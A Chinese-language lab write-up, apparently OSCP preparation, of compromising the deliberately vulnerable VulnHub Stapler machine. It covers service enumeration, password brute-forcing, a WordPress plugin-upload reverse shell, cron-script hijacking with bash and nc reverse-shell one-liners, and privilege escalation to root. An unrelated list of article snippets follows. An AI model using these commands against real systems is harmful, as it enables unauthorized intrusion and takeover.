靶场实战(15):OSCP备考之VulnHub STAPLER

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 21端口/FTP服务

      1. 组件漏洞

      2. 口令漏洞

    2. 139端口/SMB服务

      1. 组件漏洞

      2. 口令漏洞

    3. 666端口/doom服务

      1. 组件漏洞

      2. 其它漏洞

    4. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

    5. 12380端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞

    6. 12380端口/HTTPS服务

      1. 组件漏洞

      2. URL漏洞

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid    

      3. cron

      4. 内核提权

      5. 信息收集

    2. JKanode用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息泄漏

    3. peter用户

      1. sudo

1、资产发现

1.1、主机发现

本次靶机STAPLER[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.79 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

f4bf4d57866fd96c66fc809ca223aa2a.png

6b319a555763770d4eb37c50ea24ad84.png

开放的端口

提供的服务

使用的组件

组件的版本

21/tcp

ftp

vsftpd

2.0.8 or later

22/tcp

ssh

OpenSSH

7.2p2

53/tcp

domain

dnsmasq

2.75

80/tcp

http

PHP cli server

5.5 or later

139/tcp

netbios-ssn

Samba smbd

4.3.9

666/tcp

doom?

?

?

3306/tcp

mysql

MySQL

5.7.12

12380/tcp

http

Apache httpd

2.4.18

-

os

Ubuntu Linux

?

2、漏洞发现(获取权限)

2.1、21端口/FTP服务

2.1.1、组件漏洞

使用命令searchsploit vsftpd 2.0.8未发现组件vsftpd 2.0.8的Nday漏洞。

34d867075a30ed9ee307bb96345e25f5.png

2.1.2、口令漏洞

使用命令ftp 172.16.33.79连接FTP服务,使用匿名账户anonymous空口令登录,发现一个用户名Harry。使用命令ls -a查看文件,发现没有查看权限,使用命令bye退出FTP服务。

b780c62665cc914528bd4345cc10bc2f.png

基于刚才发现的harry用户,使用命令hydra -l harry -P /usr/share/seclists/Passwords/Common-Credentials/common-passwords-win.txt 172.16.33.79 ftp,未发现弱口令。

627b9c54c4522682bd90d9c8df837937.png

2.2、139端口/SMB服务

2.2.1、组件漏洞

使用命令searchsploit Samba 4.3.9,未发现组件Samba smbd 4.3.9的Nday漏洞。

011edb286910ec42c88ef9b667b8fec2.png

2.2.2、口令漏洞

使用命令smbclient -L 172.16.33.79空口令查看有什么东西,发现kathy。使用命令smbclient //172.16.33.79/kathy空口令登录SMB服务,使用ls发现两个目录,使用cd <路径>进入目录并使用get <文件>下载文件,最后使用quit退出SMB服务。

1cc83769168e7e4b87d6fff92e171b14.png

逐个查看下载的文件,无有价值信息。

7f8c97c26867b7a416836aacaf5296b1.png

2.3、666端口/doom服务

2.3.1、组件漏洞

使用命令searchsploit doom,未发现doom服务相关组件的Nday漏洞。

96df575935b72f6f9790b0558713c9e1.png

2.3.2、其它漏洞

使用命令nc 172.16.33.79 666连接端口,返回一堆乱码,疑似一个文件。使用命令nc 172.16.33.79 666 > file将乱码保存到file文件中,并使用命令less file查看,发现开头是PK,这是压缩文件的标志。

80b9678a7396d5d989f4952b26e8be1c.png

c7c67b5b84e5c258274ca90a434c1b7a.png

bdb0077a917db783e287b3b59cbf9f0a.png

使用命令mv file file.zip为文件添加zip后缀,使用命令unzip file.zip进行解压,获得message2.jpg文件。使用命令less message2.jpg查看,发现提示If you are reading this, you should get a cookie!,难道%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz是cookie?

e0f9d6eb3b5e3d382a7a592485e73fdf.png

f9a7d912c285d534ae6a49099ccd741a.png

2.4、80端口/HTTP服务

2.4.1、组件漏洞

0x01、Web中间件

使用命令searchsploit PHP cli server,未发现Web中间件PHP cli server的Nday漏洞。

67640a4d77f6834de9bf67a1ddbe14e9.png

0x02、Web框架

使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。

55b5994096652815cf7fee879b96b266.png

2.4.2、URL漏洞

0x01、直接访问

打开http://172.16.33.79/,是404页面,没有收获。

518bdb4589920b4465a3f953b2776496.png

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.79/ -x 403扫描网站的目录和文件,无有价值的收获。

0ba0265c66433fd04fcafb8791f9dffe.png

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议

探测HTTPS协议,访问https://172.16.33.79/,无响应。

81316583c8d7a5e96704b141586d4789.png

2.5、12380端口/HTTP服务

2.5.1、组件漏洞

0x01、Web中间件

使用命令searchsploit Apache httpd 2.4.,未发现Web中间件Apache httpd 2.4.18的Nday漏洞。

ab4d2a4d899f13001e100d41d0fedc37.png

0x02、Web框架

使用浏览器插件Wappalyzer,未发现使用Nday漏洞的Web框架。

95229885a05ec67f1e3a8a935ec9a7a8.png

2.5.2、URL漏洞

0x01、直接访问

浏览器打开https://172.16.33.79:12380/,提示网站正在开发中,无收获。

c202518dbaa36cbbe84e94efd42a46d7.png

0x02、目录扫描

使用命令dirsearch -u http://172.16.33.79:12380/ -x 403扫描网站的目录和文件,但是速度过于缓慢,直接放弃。

d91bb6e09546f0aa035fea3ae4512e4e.png

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行FUZZ的必要。

0x04、切换协议(这个步骤原本SOP是没有的,感谢这个靶机)

尝试HTTPS协议,访问https://172.16.33.79:12380,有响应,说明有使用HTTP协议。

396a15228ee2c62a97f049164bb3422d.png

2.6、12380端口/HTTPS服务

2.6.1、组件漏洞

0x01、Web中间件

2.5.1已经排查过,不再排查。

0x02、Web框架

使用浏览器插件Wappalyzer,未发现存在Nday漏洞的Web框架。

2ed6d24c26e30dcb06d964da328fa067.png

2.6.2、URL漏洞

0x01、直接访问

直接访问https://172.16.33.79:12380,提示是内部页面,没有其它信息。

cc14b6db13a2fb8a0070c23620c79d8e.png

0x02、目录扫描

使用命令searchsploit -u https://172.16.33.79:12380/ -x 403扫描网站的目录和文件,发现/phpmyadmin文件和/robots.txt文件。

b123af72ca4dfb61fef8dfe0e9907e7a.png

打开/robots.txt文件,发现新的文件路径/admin112233/blogblog

b86b539e10d3b0ec6eb7e27de2eeaa68.png

打开/admin112233文件, 提示需要带上cookie来访问。使用前面666端口拿到的疑似cookie来构造请求,但是没用。

b8687b3ee9347ab4250a12e129476dba.png

12dbc0e02e48135b8fb44cc9b6f58e68.png

打开/blogblog文件,发现使用WordPress搭建的。

07a70f771810d85fe56763f8abbf789e.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks扫描WordPress,逐个检查扫描结果,无收获。

60580151fa59d2ea5003dfee416985df.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --enumerate u扫描WordPress用户,发现还不少。

7324e422ecbfbe572dc848dcc10c46ec.png

96e86af089f45c47fff817b53b569f61.png

使用命令wpscan --url https://172.16.33.79:12380/blogblog/ --disable-tls-checks --usernames john,peter,barry,heather,garry,elly,harry,scott,kathy,tim --passwords /usr/share/wordlists/rockyou.txt爆破WordPress用户的密码,发现还不少。

93d65bd7af70b04cbd49389c9b0b333f.png

3923e6c086a4a83bb6ec9f691038ff96.png

https://172.16.33.79:12380/blogblog/wp-login.php逐个登录,都是普通用户,没法get shell,还好最终扫出了管理员John Smith。

933591d41ce5a3895d048adb7d05d27b.png

想通过编辑当前主题的php文件的方式写入反弹shell,但是没有write权限。

c701728317d050aeb9bae9777958df63.png

想通过编辑当前插件的php文件的方式写入反弹shell,但是也没有write权限。

861fd4e23656ae741b88dcdba6b285dc.png

在插件这儿看到一个Add New的功能,可以Upload Plugin,那能不能上传反弹shell文件呢?尝试一下发现需要FTP服务器账号密码,使用匿名账号anonymous空口令竟然没报错。后来测试,步骤6空着也能上传。但是上传请求并未返回文件保存路径,前端翻找也并未发现。

46c738adcb51e68de57e8f195d98b196.png

7ce14c1174baf7a8bef95407bd8494c6.png

ae093d27416de2018373e182e93459af.png

e4f53c0f5bf013291beab4891a88b804.png

想起前面wpscan有扫出一个文件上传路径https://172.16.33.79:12380/blogblog/wp-content/uploads/,当时访问是空的,现在访问竟然看到了上传的反弹shell文件。在本地使用命令nc -nvlp 3379监听端口,然后访问反弹shell文件,最终获得了反弹shell。

722ff97cace6c7500e135e72ea89b768.png

f18a2e58010e9f7747ad7dc539b7f9a3.png

d923f58422e9d03b20c5748673e7a0f6.png

0x03、模糊测试

基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。

3、提升权限

3.1、www-data用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,提示没有tty无法使用交互式的身份验证程序。使用命令which python3发现系统安装了Python3,使用命令python3 -c "import pty; pty.spawn("/bin/bash")'h获得交互式tty。

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,提示需要输入www-data用户的密码。由于我们没有,因此只能放弃。

30d1e32c50d4c8372d57a5d3b28131ee.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[2]查阅哪个命令能用于提权,发现一个都不行。

b1d2ea4fe845f985b92756883027f726.png

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

dfaa77605908ba23e7213ddb5ebf61e5.png

使用命令find /etc/*cron* -type f -ls 2>/dev/null查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,发现root用户每5分钟会执行一次/usr/local/sbin/cron-logrotate.sh脚本。

f6370a7d80d4b36e26478831642eefa8.png

使用命令ls -l /usr/local/sbin/cron-logrotate.sh查看脚本权限,发现other用户有read和write权限。使用命令cat /usr/local/sbin/cron-logrotate.sh利用read权限查看脚本内容,发现只有一个备注。使用命令echo "bash -i >& /dev/tcp/10.8.0.110/4444 0>&1" >> /usr/local/sbin/cron-logrotate.sh利用write权限往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh确认反弹shell已经成功写入脚本文件。

3aa30f07a14a16821b13ff91e4a3dc4f.png

本地使用命令nc -nvlp 4444一直没有获取到反弹shell。使用命令grep root /etc/passwd发现root用户的shell是zsh,难怪用bash反弹不了。改为nc,使用命令echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.0.110 4444 >/tmp/f" > /usr/local/sbin/cron-logrotate.sh往脚本中写入反弹shell,并使用命令cat /usr/local/sbin/cron-logrotate.sh确认反弹shell已经成功写入脚本文件。

82591901c400b65b40a267b9e4a78cc4.png

本地使用命令nc -nvlp 4444最终获得root用户的反弹shell,成功提权。

d6e958f5acfd1368654e6acc044e1825.png

3.1.4、内核提权

在靶机上使用命令uname -r发现系统内核版本是4.4.0-21,使用命令cat /etc/*release发现系统发行版本是Ubuntu 16.04

在本地使用命令searchsploit 4.4.0-21 Ubuntu Linux 16.04 Privilege Escalation,发现两个本地提权的EXP,使用命令searchsploit -m将EXP拷贝到本地,使用命令gcc-o <最终EXP> --static编译,但报错太多,于是放弃。

bae9cdc9c956c553122fd0d5ba690e1f.png

3c229c6058958c74a27ffeaec1681f63.png

403fc2b0d30fcb00110f41ce68dd3983.png

看下有没其它EXP吧,在本地使用命令searchsploit Ubuntu 16.04 4.4.0-21 Privilege Escalation,发现不少新的EXP。使用命令searchsploit -m 45010将EXP拷贝至当前目录,使用命令gcc 45010.c -o 45010 --static编译EXP,使用命令python3 -m http.server开启HTTP服务给靶机下载EXP。

在靶机上使用命令wget http://10.8.0.110:8000/45010下载EXP后使用命令chmod +x ./45010赋予EXP执行权限,然后使用命令./45010执行EXP,但是报错cannot execute binary file: Exec format error

网上查阅文档,解决linux下cannot execute binary file: Exec format error[3]提到可能是本地编译机器和靶机机器的CPU不一样导致的,那就在靶机上编译吧。使用命令wget http://10.8.0.110:8000/45010.c下载C代码后使用命令gcc 45010.c -o 45010进行编译,竟然一堆报错。使用命令uname -p看了下是啥CPU,然后只能骂骂咧咧地放弃了。

ab6f2e394e679ec4ccf36e0bf70348d8.png

f890c555752051860d1acd92d6df47a0.png

4ae14027b6e9ee9c72ee31c2233b7b6b.png

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录,未发现敏感文件。使用命令find /home/ -type f -ls 2>/dev/null查看普通用户目录,发现大量other用户可读的文件。重点查找配置文件和日志文件,发现.bash_history文件。

525f8d78f412042c21197858e59a0815.png

使用命令find /home/ -name .bash_history -type f -ls 2>/dev/null列出所有.bash_history文件,文件越大说明内容越多,但最大的也才167字节,坏处是没太多东西可以翻,好处是不用翻太多东西。

0ccba9e8d032243f1319df1a435c2781.png

逐个查看日志文件,使用命令cat /home/JKanode/.bash_history发现免交互SSH登录命令sshpass的登录日志,泄漏了两个SSH服务的账号密码:JKanode/thisimypasswordpeter/JZQuyIN5

c8363508c6011321b832dc516dd9347a.png

两个账户都能成功登录SSH服务,虽然不是root用户,但也算成功越权。

cc71751c876e300e4d38fcec4fc15a2f.png

6546bf9e82bb02c805dec80ec4c6d2e6.png

3.2、JKanode用户

3.2.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现当前用户没有执行sudo命令的权限

dd3f559eb9ea20c046c1d1760a9c009c.png

3.2.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还挺多。逐个在GTFOBins[4]查阅哪个命令能用于提权,发现一个都不行。

4fd03b17f97e230299130078c0b28646.png

3.2.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,没有结果。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

dad4d5eeaa5046624e38e4b72cd8cc7e.png

使用命令find /etc/*cron* -type f -ls 2>/dev/null查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,和www-data用户一样,就不重复了。

1f67cdb0d887698ce1c10b7347e38e6e.png

3.2.4、内核提权

www-data用户一样,就不重复了。

3.2.5、信息泄漏

www-data用户一样,就不重复了。

3.3、peter用户

3.3.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现当前用户能以任意用户的权限执行任意命令。使用简写版命令sudo su或者非简写版命令sudo -u root su root,以root用户的权限执行切换到root用户的命令,最终获得root用户的权限,成功提权。

49426926c4a84a103c8158d801ad2617.png

参考资料

[1]

STAPLER: https://www.vulnhub.com/entry/stapler-1,150/

[2]

GTFOBins: https://gtfobins.github.io/#

[3]

解决linux下cannot execute binary file: Exec format error: https://blog.csdn.net/owen7500/article/details/52397353

[4]

GTFOBins: https://gtfobins.github.io/#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/620859.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

watch监听一个对象中的属性 - Vue篇

vue中提供了watch方法&#xff0c;可以监听data内的某些数据的变动&#xff0c;触发相应的方法。 1.监听一个对象 <script>export default {data() {return {obj: {name: ,code: ,timePicker:[]}}},watch: {obj: {handler(newVal, oldVal) {//todo},immediate: true,deep…

idea常用快捷键 生成注释 生成方法 实现类方法

单行注释 ctrl/ 再次输入取消注释 多行注释 ctrlshift/ 再次输入取消注释 文档注释 输入 /** 加enter 生成方法 altenter 生成实现类方法 ctrlo 全局查找 ctrlshiftR 查看方法 ctrl左键 选中方法 查看实现类 altenter go to implementation 或 ctrlaltB

gitee创建远程仓库并克隆远程仓库到电脑

1、首先点加号新建一个仓库 2、输入仓库名&#xff0c;路径会自动填充&#xff0c;填写简单的仓库介绍&#xff0c;先选择私有&#xff0c;在仓库创建之后&#xff0c;可以改为开源 3、打开建好的仓库 4、复制仓库链接 5、打开一个文件夹(想要存储远程仓库的地址)&#xff0c;在…

创建大模型的新方法 - 配比两个模型

原文&#xff1a;创建大模型的新方法 - 配比两个模型 - 知乎 现在&#xff0c;创建大模型的新方法还可以使用配比两个模型- 正如炼金术巫师那样。 工具1 medusa&#xff1a;https://github.com/FasterDecoding/Medusa Medusa 为 LLM 添加了额外的“头”&#xff0c;以同时预测…

C# 图解教程 第5版 —— 第24章 预处理指令

文章目录 24.1 什么是预处理指令24.2 基本规则24.3 符号指令&#xff08;#define、#undef &#xff09;24.4 条件编译&#xff08;#if、#else、#elif、#endif&#xff09;24.5 条件编译结构24.6 诊断指令&#xff08;#warning、#error&#xff09;24.7 行号指令&#xff08;#li…

Web后端开发

一、Maven 1.1 简介 1.2 作用 1.3 流程 通过各种插件实现项目的标准化构建。 1.4 安装 1.5 配置环境 1.5.1 当前工程环境 1.5.2 全局环境 1.6 创建 Maven项目 1.7 导入项目 1.8 依赖管理 1.8.1 依赖配置 1.8.2 依赖传递 pom.xml——右键——Diagrams——show dependen…

隧道应用1-netsh端口映射内网

测试环境信息 物理机内网 IP &#xff1a;192.168.249.1 win7 虚拟机 IP &#xff1a; 192.168.249.131 win10 虚拟机 IP &#xff1a;192.168.249.129 我们在 win7 上配置 netsh 端口映射&#xff0c;将 win7 作为跳板机&#xff0c;进而访问到 win10 的服务。 端口映射与…

flutter 打包IOS及常用配置

修改APP名称 项目名字配置是在 ios/Runner/Info.plist 文件中的 dict 下的 CFBundleName testapp 。如下图所示: String里面就可以修改名称 修改项目 &#xff08;testapp&#xff09;的 Logo 图标 iOS 项目 Logo的配置是在 ios/Runner/Assets.xcassets/AppIcon.appiconset 文…

第24集《佛法修学概要》

庚三、不邪淫戒 辛一、解释名义 分五&#xff1a;辛一、解释名义&#xff1b;辛二、具缘成犯&#xff1b;辛三、犯戒轻重&#xff1b;辛四、开缘情况&#xff1b;辛五、持犯得失 请大家打开讲义第六十八页&#xff0c;我们讲到庚三不邪淫戒。这条戒是五戒的第三条。 辛一、解…

Golang 文件操作

读取 一次性读取data, err := os.ReadFile("filename.txt") if err != nil {log.Fatal(err) } fmt.Println(string(data))按行读取方式1:bufio.NewScanner file, err := os.Open("filename.txt") if err != nil {panic(err) } defer file.Close()scanner…

TypeScript泛型的高级用法:第三部分

泛型在开发第三方库时非常有用 在本文中&#xff0c;我将介绍如何使用TypeScript泛型来声明一个 defineStore 函数(类似于Pinia库中的 defineStore 函数)来完成以下挑战。在挑战中&#xff0c;我还会介绍一些非常有用的TypeScript知识。掌握了以后&#xff0c;应该会对你的工作…

用 AI 生成 Vue 组件?

大家好我是奇兵&#xff0c;三个月前&#xff0c;Vercel 推出了其 AI 代码生成工具 —— v0&#xff08;v0.dev&#xff09;&#xff0c;这款工具可以快速生成前端组件代码&#xff0c;引起了前端圈的广泛关注。通过简单的描述&#xff0c;v0能够快速生成前端页面&#xff0c;让…

拥抱Guava之集合操作

深入Guava集合操作 在Java开发中&#xff0c;Google Guava库是处理集合的强大工具。起源于Google内部需求&#xff0c;Guava以简洁性、性能优化为理念&#xff0c;提供高效不可变集合和实用工具类。本文深入剖析Guava的核心功能&#xff0c;为开发者呈现集合操作的全新视角&am…

算法第十八天-实现Trie(前缀树)

实现Trie&#xff08;前缀树&#xff09; 题目要求 解题思路 本文是前缀入门教程 从二叉树说起 前缀树&#xff0c;也是一种树。为了理解前缀树&#xff0c;我们先从二叉树说起。常见的二叉树结构是下面这样子的&#xff1a; class TreeNode { int val; TreeNode* left; Tre…

CDSP和CISP证书,选择哪个?

&#x1f3af;CDSP和CISP是两种与信息安全领域相关的专业认证。它们有一些相似之处&#xff0c;但也存在一些显著的区别。本文将详细介绍CDSP认证和CISP认证的相同点和区别。 &#x1f451;CDSP和CISP的相同点&#xff1a; 1.行业认可&#xff1a;CDSP和CISP都是行业广泛认可的…

Linux下通过EDAC功能检测PCIE硬件错误

1 EDAC的作用 The edac kernel modules goal is to detect and report hardware errors that occur within the computer system running under linux. 《Documentation/admin-guide/ras.rst》 EDAC可以检测物理内存的错误 和 PCIE的错误&#xff0c;本文主要分析后者。 2 机…

React入门 - 03(初识 React 组件和 JSX)

本章内容 目录 1.初识 React 组件2.关于 JSX 继上一节的工程案例&#xff0c;我们这一节主要了解一下 React组件和 “JSX 语法”。 前置知识点&#xff1a;ES6模块化&继承 1.初识 React 组件 1、打开 src/index.js文件&#xff08;项目的入口文件&#xff09;内容&…

如何使用WinDiff浏览和对比Windows源代码中的符号和系统调用信息

关于WinDiff WinDiff是一款功能强大的Windows二进制源代码安全分析与调试工具&#xff0c;该工具完全开源&#xff0c;基于Web实现其功能&#xff0c;可以帮助广大研究人员在不同版本的操作系统中浏览和对比Microsoft Windows二进制文件的符号、类型和系统调用信息。其中&…

详解HTTPS加密工作过程

&#x1f697;&#x1f697;&#x1f697;今天给大家分享的是HTTPS加密的工作过程。 清风的CSDN博客 &#x1f6e9;️&#x1f6e9;️&#x1f6e9;️希望我的文章能对你有所帮助&#xff0c;有不足的地方还请各位看官多多指教&#xff0c;大家一起学习交流&#xff01; ✈️✈…

PDCA/绩效管理活动

现代绩效管理理论认为&#xff0c;绩效管理活动是一个连续的过程&#xff0c;是指管理者用来确保自己下属员工的工作行为和工作产出与组织的目标保持一致的手段及过程。人们通常用一个循环过程来描述绩效管理的整个过程。我们认为&#xff0c;一个组织的员工绩效管理活动由四个…